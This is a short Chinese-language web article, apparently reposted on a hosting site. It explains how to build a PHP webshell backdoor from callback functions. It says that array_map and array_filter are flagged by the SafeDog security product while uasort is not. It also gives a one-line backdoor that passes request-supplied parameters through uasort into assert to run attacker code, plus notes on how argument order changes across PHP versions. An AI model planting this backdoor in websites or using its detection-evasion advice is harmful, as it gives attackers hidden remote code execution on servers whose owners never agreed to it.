您好,登錄后才能下訂單哦!
在php中 存在回調函數參數的函數,都有可能作為后門
比如array_map , array_filter 這類數組操作的回調函數,但是在安全狗下會被殺掉
但是uasort 這類函數不會被殺掉。
php5.4.8之后的assert
在5.4.8之后,assert函數由一個參數,變成了兩個參數。增加了一個可選參數descrition:
5.4.8 增加了參數 description。 description 現在也作為第四個參數提供給 ASSERT_CALLBACK 模式里的回調函數。 |
那么這里就可以使用有兩個參數的回調函數了,比如
<?php $e = $_REQUEST['e']; $arr = array($_REQUEST['pass'] , 'te'); uasort($arr , $e);
在php5.3環境下會報錯,因為5.3的assert只有一個參數。
在php5.4以后就可以執行了
這里的傳遞參數的順序也有變化,在php7之前不包括PHP7 , 傳遞參數是array的第一個參數就是回調函數的第二個參數。
在php7及以后,array的第一個參數是回調函數的第一個參數。
比如:
function mysort($var_1 , $var_2) { echo "var_1 : ".$var_1."<br>"; echo "var_2 : ".$var_2."<br>"; } $arr = array("1" , "2"); uasort($arr , 'mysort');
在php7以前的環境輸出:
var_1 : 2
var_2 : 1
在php7及其以后的環境輸出:
var_1 : 1
var_2 : 2
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。